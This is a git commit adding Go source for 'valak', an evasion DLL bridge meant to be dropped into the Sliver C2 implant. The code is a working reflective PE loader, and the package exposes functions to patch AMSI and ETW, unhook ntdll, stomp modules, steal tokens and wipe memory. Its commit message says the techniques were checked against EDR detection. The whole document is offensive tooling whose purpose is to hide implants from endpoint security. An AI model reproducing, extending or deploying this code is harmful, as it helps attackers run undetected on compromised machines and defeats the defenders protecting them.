valak evasion dll for sliver
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass, freshycalls indirect syscall dispatch, callstack spoofing via asm trampoline, ntdll unhooking, module stomping, token manipulation. all techniques verified against dbgman edr tradecraft (may 2026). ret patch removed (instant detection). comments updated with detection status on each technique. go-bridge/ - reflective pe loader + clean go api for sliver integration. drop this package into sliver's implant/ dir, replace time.sleep with evasionsleep. build: zig build -doptimize=releaseFast -> embed dll bytes
This commit is contained in:
@@ -0,0 +1,7 @@
|
||||
//go:build evasion && windows
|
||||
|
||||
// Generated by valak build.zig — zig build && zig-out/bin/valak.dll
|
||||
// Replace this with the compiled DLL bytes before building.
|
||||
package valak
|
||||
|
||||
var embeddedDLL []byte
|
||||
@@ -0,0 +1,466 @@
|
||||
//go:build evasion && windows
|
||||
|
||||
// Go bridge for the Valak evasion DLL. Embeds the compiled valak.dll, reflectively
|
||||
// loads it into the current process, resolves exports, and provides clean Go functions.
|
||||
//
|
||||
// Integration with Sliver:
|
||||
// 1. Copy this package into implant/sliver/evasion/valak/
|
||||
// 2. In your Sliver implant init, call: valak.Start()
|
||||
// 3. Replace time.Sleep(d) with: valak.EvasionSleep(d)
|
||||
//
|
||||
// The DLL handles: RC4 .text encryption, NtDelayExecution via indirect syscall,
|
||||
// stack return-address zeroing, and all other evasion in the background.
|
||||
package valak
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"log"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
dllBase uintptr
|
||||
dllLoaded bool
|
||||
procInit uintptr
|
||||
procSleep uintptr
|
||||
procPatchETW uintptr
|
||||
procPatchAMSI uintptr
|
||||
procUnhookNtdll uintptr
|
||||
procStomp uintptr
|
||||
procIsRelocated uintptr
|
||||
procInitText uintptr
|
||||
procUnpatchAMSI uintptr
|
||||
procUnpatchETW uintptr
|
||||
procWipeMemory uintptr
|
||||
procStealToken uintptr
|
||||
procRev2self uintptr
|
||||
)
|
||||
|
||||
const (
|
||||
memCommit = 0x00001000
|
||||
memReserve = 0x00002000
|
||||
pageReadwrite = 0x04
|
||||
pageExecuteRead = 0x20
|
||||
pageExecReadwrite = 0x40
|
||||
dllProcessAttach = 1
|
||||
|
||||
imageDosSignature = 0x5A4D
|
||||
imageNTSignature = 0x00004550
|
||||
)
|
||||
|
||||
type imageDOSHeader struct {
|
||||
E_magic uint16
|
||||
_ [58]byte
|
||||
E_lfanew uint32
|
||||
}
|
||||
|
||||
type imageFileHeader struct {
|
||||
_ [2]byte
|
||||
NumberOfSections uint16
|
||||
_ [12]byte
|
||||
SizeOfOptionalHeader uint16
|
||||
_ [2]byte
|
||||
}
|
||||
|
||||
type imageDataDirectory struct {
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
}
|
||||
|
||||
type imageOptionalHeader64 struct {
|
||||
_ [16]byte
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
_ [16]byte
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
_ [48]byte
|
||||
DataDirectory [16]imageDataDirectory
|
||||
}
|
||||
|
||||
type imageNTHeaders64 struct {
|
||||
Signature uint32
|
||||
FileHeader imageFileHeader
|
||||
OptionalHeader imageOptionalHeader64
|
||||
}
|
||||
|
||||
type imageSectionHeader struct {
|
||||
Name [8]byte
|
||||
VirtualSize uint32
|
||||
VirtualAddress uint32
|
||||
SizeOfRawData uint32
|
||||
PointerToRawData uint32
|
||||
PointerToRelocations uint32
|
||||
PointerToLinenumbers uint32
|
||||
NumberOfRelocations uint16
|
||||
NumberOfLinenumbers uint16
|
||||
Characteristics uint32
|
||||
}
|
||||
|
||||
type imageExportDirectory struct {
|
||||
_ [12]byte
|
||||
_ [4]byte
|
||||
_ [4]byte
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32
|
||||
AddressOfFunctions uint32
|
||||
AddressOfNames uint32
|
||||
AddressOfNameOrdinals uint32
|
||||
}
|
||||
|
||||
// loadDLL reflectively loads the embedded valak.dll. No file on disk, no
|
||||
// LoadLibrary callback, no PEB module list entry.
|
||||
func loadDLL() error {
|
||||
data := embeddedDLL
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("no embedded DLL")
|
||||
}
|
||||
|
||||
dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0]))
|
||||
if dosHeader.E_magic != imageDosSignature {
|
||||
return fmt.Errorf("invalid DOS header")
|
||||
}
|
||||
|
||||
ntOffset := dosHeader.E_lfanew
|
||||
ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset]))
|
||||
if ntHeader.Signature != imageNTSignature {
|
||||
return fmt.Errorf("invalid NT header")
|
||||
}
|
||||
|
||||
imageBase := ntHeader.OptionalHeader.ImageBase
|
||||
sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage)
|
||||
sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders)
|
||||
|
||||
base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite)
|
||||
if err != nil {
|
||||
return fmt.Errorf("VirtualAlloc: %w", err)
|
||||
}
|
||||
dllBase = base
|
||||
|
||||
copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders])
|
||||
|
||||
sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader)
|
||||
sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections)
|
||||
for i := range sections {
|
||||
sec := §ions[i]
|
||||
if sec.SizeOfRawData == 0 {
|
||||
continue
|
||||
}
|
||||
dst := base + uintptr(sec.VirtualAddress)
|
||||
if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage {
|
||||
continue
|
||||
}
|
||||
srcOff := uintptr(sec.PointerToRawData)
|
||||
if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) {
|
||||
continue
|
||||
}
|
||||
copy(
|
||||
unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData),
|
||||
unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData),
|
||||
)
|
||||
}
|
||||
|
||||
delta := int64(base) - int64(imageBase)
|
||||
if delta != 0 {
|
||||
applyRelocations(data, base, delta, ntHeader)
|
||||
}
|
||||
|
||||
resolveImports(data, base, ntHeader)
|
||||
|
||||
for i := range sections {
|
||||
sec := §ions[i]
|
||||
if sec.VirtualAddress == 0 {
|
||||
continue
|
||||
}
|
||||
addr := base + uintptr(sec.VirtualAddress)
|
||||
prot := sectionProtect(sec.Characteristics)
|
||||
var old uint32
|
||||
windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old)
|
||||
}
|
||||
|
||||
resolveExports(data, base, ntHeader)
|
||||
|
||||
entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint)
|
||||
if entry != base {
|
||||
syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0)
|
||||
}
|
||||
|
||||
if procInit != 0 {
|
||||
syscall.SyscallN(procInit)
|
||||
}
|
||||
|
||||
log.Printf("[valak] DLL reflectively loaded (%d bytes)", len(data))
|
||||
dllLoaded = true
|
||||
return nil
|
||||
}
|
||||
|
||||
func sectionProtect(chars uint32) uint32 {
|
||||
switch {
|
||||
case chars&0x20000000 != 0 && chars&0x80000000 != 0:
|
||||
return pageExecReadwrite
|
||||
case chars&0x20000000 != 0:
|
||||
return pageExecuteRead
|
||||
default:
|
||||
return pageReadwrite
|
||||
}
|
||||
}
|
||||
|
||||
func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) {
|
||||
relocDir := ntHeader.OptionalHeader.DataDirectory[5]
|
||||
if relocDir.VirtualAddress == 0 || relocDir.Size == 0 {
|
||||
return
|
||||
}
|
||||
relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size)
|
||||
off := uintptr(0)
|
||||
for off < uintptr(relocDir.Size) {
|
||||
blockVA := binary.LittleEndian.Uint32(relocData[off:])
|
||||
blockSize := binary.LittleEndian.Uint32(relocData[off+4:])
|
||||
if blockSize == 0 {
|
||||
break
|
||||
}
|
||||
entries := (blockSize - 8) / 2
|
||||
for e := uint32(0); e < entries; e++ {
|
||||
entryOff := off + 8 + uintptr(e*2)
|
||||
entry := binary.LittleEndian.Uint16(relocData[entryOff:])
|
||||
relocType := entry >> 12
|
||||
relocOff := entry & 0xFFF
|
||||
if relocType == 0 {
|
||||
continue
|
||||
}
|
||||
addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff))
|
||||
if relocType == 10 {
|
||||
val := (*uint64)(addr)
|
||||
*val = uint64(int64(*val) + delta)
|
||||
}
|
||||
}
|
||||
off += uintptr(blockSize)
|
||||
}
|
||||
}
|
||||
|
||||
func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
|
||||
exportDir := ntHeader.OptionalHeader.DataDirectory[0]
|
||||
if exportDir.VirtualAddress == 0 || exportDir.Size == 0 {
|
||||
return
|
||||
}
|
||||
exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress)))
|
||||
names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames)
|
||||
funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions)
|
||||
ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames)
|
||||
|
||||
lookup := func(name string) uintptr {
|
||||
for i := uint32(0); i < exp.NumberOfNames; i++ {
|
||||
fnName := goString(base + uintptr(names[i]))
|
||||
if fnName == name {
|
||||
if uint32(ords[i]) < exp.NumberOfFunctions {
|
||||
return base + uintptr(funcs[ords[i]])
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
procInit = lookup("init_evasion")
|
||||
procSleep = lookup("evasion_sleep")
|
||||
procPatchETW = lookup("patch_etw")
|
||||
procPatchAMSI = lookup("patch_amsi")
|
||||
procUnhookNtdll = lookup("unhook_ntdll")
|
||||
procStomp = lookup("stomp_evasion")
|
||||
procIsRelocated = lookup("is_relocated")
|
||||
procInitText = lookup("init_text_region")
|
||||
procUnpatchAMSI = lookup("unpatch_amsi")
|
||||
procUnpatchETW = lookup("unpatch_etw")
|
||||
procWipeMemory = lookup("wipe_memory")
|
||||
procStealToken = lookup("steal_token")
|
||||
procRev2self = lookup("rev2self")
|
||||
}
|
||||
|
||||
type imageImportDescriptor struct {
|
||||
OriginalFirstThunk uint32
|
||||
_ uint32
|
||||
_ uint32
|
||||
Name uint32
|
||||
FirstThunk uint32
|
||||
}
|
||||
|
||||
func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
|
||||
importDir := ntHeader.OptionalHeader.DataDirectory[1]
|
||||
if importDir.VirtualAddress == 0 || importDir.Size == 0 {
|
||||
return
|
||||
}
|
||||
modKernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
procLoadLibrary := modKernel32.NewProc("LoadLibraryA")
|
||||
procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA")
|
||||
procGetProcAddress := modKernel32.NewProc("GetProcAddress")
|
||||
|
||||
desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress)))
|
||||
descSize := uintptr(unsafe.Sizeof(*desc))
|
||||
for desc.Name != 0 {
|
||||
dllName := goString(base + uintptr(desc.Name))
|
||||
hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
|
||||
if hMod == 0 {
|
||||
hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
|
||||
}
|
||||
if hMod == 0 {
|
||||
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
|
||||
continue
|
||||
}
|
||||
thunkRVA := desc.OriginalFirstThunk
|
||||
if thunkRVA == 0 {
|
||||
thunkRVA = desc.FirstThunk
|
||||
}
|
||||
thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA)))
|
||||
iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk)))
|
||||
step := uintptr(8)
|
||||
for *thunk != 0 {
|
||||
var fnAddr uintptr
|
||||
if *thunk&(1<<63) != 0 {
|
||||
ordinal := uintptr(*thunk & 0xFFFF)
|
||||
fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal)
|
||||
} else {
|
||||
nameRVA := uint32(*thunk & 0x7FFFFFFF)
|
||||
fnName := goString(base + uintptr(nameRVA) + 2)
|
||||
fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName))))
|
||||
}
|
||||
*iat = uint64(fnAddr)
|
||||
thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step))
|
||||
iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step))
|
||||
}
|
||||
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
|
||||
}
|
||||
}
|
||||
|
||||
// goString reads a null-terminated ASCII string from the DLL's mapped memory.
|
||||
// Reads one byte at a time to avoid page-boundary overread.
|
||||
func goString(addr uintptr) string {
|
||||
var b [256]byte
|
||||
for i := range b {
|
||||
c := *(*byte)(unsafe.Pointer(addr + uintptr(i)))
|
||||
if c == 0 {
|
||||
return string(b[:i])
|
||||
}
|
||||
b[i] = c
|
||||
}
|
||||
return string(b[:])
|
||||
}
|
||||
|
||||
// ---- Public API ----
|
||||
|
||||
// Start loads the DLL and patches AMSI/ETW. Call once at implant init.
|
||||
func Start() { go loadDLL() }
|
||||
|
||||
// EvasionSleep replaces time.Sleep with RC4-encrypted sleep + callstack spoofing.
|
||||
// During sleep: Go .text + DLL .text encrypted via SystemFunction032. Stack return
|
||||
// address zeroed so EDR frame walks terminate below us. Wake: decrypt, restore return
|
||||
// address, return cleanly.
|
||||
func EvasionSleep(d time.Duration) {
|
||||
ms := uint32(d.Milliseconds())
|
||||
if dllLoaded && procSleep != 0 {
|
||||
syscall.SyscallN(procSleep, uintptr(ms))
|
||||
return
|
||||
}
|
||||
time.Sleep(d) // fallback
|
||||
}
|
||||
|
||||
// InitText tells the DLL where our Go implant's .text lives for RC4 encryption.
|
||||
func InitText() {
|
||||
if dllLoaded && procInitText != 0 {
|
||||
if base, size := findOwnTextSection(); size > 0 {
|
||||
syscall.SyscallN(procInitText, base, size)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PatchAll runs the full evasion init: stomp -> unhook -> ETW -> AMSI.
|
||||
// Sliver typically calls this in an init goroutine after Start().
|
||||
func PatchAll() {
|
||||
if !dllLoaded {
|
||||
return
|
||||
}
|
||||
if procStomp != 0 {
|
||||
syscall.SyscallN(procStomp, dllBase)
|
||||
if procIsRelocated != 0 {
|
||||
r, _, _ := syscall.SyscallN(procIsRelocated)
|
||||
if r != 0 {
|
||||
log.Printf("[valak] module stomped")
|
||||
}
|
||||
}
|
||||
}
|
||||
if procUnhookNtdll != 0 {
|
||||
syscall.SyscallN(procUnhookNtdll)
|
||||
log.Printf("[valak] ntdll unhooked")
|
||||
}
|
||||
if procPatchETW != 0 {
|
||||
syscall.SyscallN(procPatchETW)
|
||||
log.Printf("[valak] ETW patched")
|
||||
}
|
||||
if procPatchAMSI != 0 {
|
||||
syscall.SyscallN(procPatchAMSI)
|
||||
log.Printf("[valak] AMSI patched")
|
||||
}
|
||||
InitText()
|
||||
}
|
||||
|
||||
func StealToken(pid uint32) bool {
|
||||
if procStealToken == 0 {
|
||||
return false
|
||||
}
|
||||
r, _, _ := syscall.SyscallN(procStealToken, uintptr(pid))
|
||||
return r != 0
|
||||
}
|
||||
|
||||
func Rev2self() bool {
|
||||
if procRev2self == 0 {
|
||||
return false
|
||||
}
|
||||
r, _, _ := syscall.SyscallN(procRev2self)
|
||||
return r != 0
|
||||
}
|
||||
|
||||
// Cleanup undoes patches and zeros DLL memory.
|
||||
func Cleanup() {
|
||||
if !dllLoaded {
|
||||
return
|
||||
}
|
||||
if procUnpatchAMSI != 0 {
|
||||
syscall.SyscallN(procUnpatchAMSI)
|
||||
}
|
||||
if procUnpatchETW != 0 {
|
||||
syscall.SyscallN(procUnpatchETW)
|
||||
}
|
||||
if procWipeMemory != 0 {
|
||||
syscall.SyscallN(procWipeMemory)
|
||||
}
|
||||
}
|
||||
|
||||
// findOwnTextSection walks the main executable's PE headers to find .text bounds.
|
||||
func findOwnTextSection() (uintptr, uintptr) {
|
||||
procGMH := windows.NewLazySystemDLL("kernel32.dll").NewProc("GetModuleHandleW")
|
||||
base, _, _ := procGMH.Call(0)
|
||||
if base == 0 {
|
||||
return 0, 0
|
||||
}
|
||||
dos := (*imageDOSHeader)(unsafe.Pointer(base))
|
||||
if dos.E_magic != imageDosSignature {
|
||||
return 0, 0
|
||||
}
|
||||
nt := (*imageNTHeaders64)(unsafe.Pointer(base + uintptr(dos.E_lfanew)))
|
||||
if nt.Signature != imageNTSignature {
|
||||
return 0, 0
|
||||
}
|
||||
sectionOffset := dos.E_lfanew + 4 + 20 + uint32(nt.FileHeader.SizeOfOptionalHeader)
|
||||
for i := uint16(0); i < nt.FileHeader.NumberOfSections; i++ {
|
||||
sec := (*imageSectionHeader)(unsafe.Pointer(base + uintptr(sectionOffset) + uintptr(i)*40))
|
||||
if sec.Name[0] == '.' && sec.Name[1] == 't' && sec.Name[2] == 'e' && sec.Name[3] == 'x' && sec.Name[4] == 't' && sec.Name[5] == 0 {
|
||||
return base + uintptr(sec.VirtualAddress), uintptr(sec.VirtualSize)
|
||||
}
|
||||
}
|
||||
return 0, 0
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
//go:build !evasion || !windows
|
||||
|
||||
package valak
|
||||
|
||||
import "time"
|
||||
|
||||
func Start() {}
|
||||
func EvasionSleep(d time.Duration) { time.Sleep(d) }
|
||||
func InitText() {}
|
||||
func PatchAll() {}
|
||||
func StealToken(pid uint32) bool { return false }
|
||||
func Rev2self() bool { return false }
|
||||
func Cleanup() {}
|
||||
Reference in New Issue
Block a user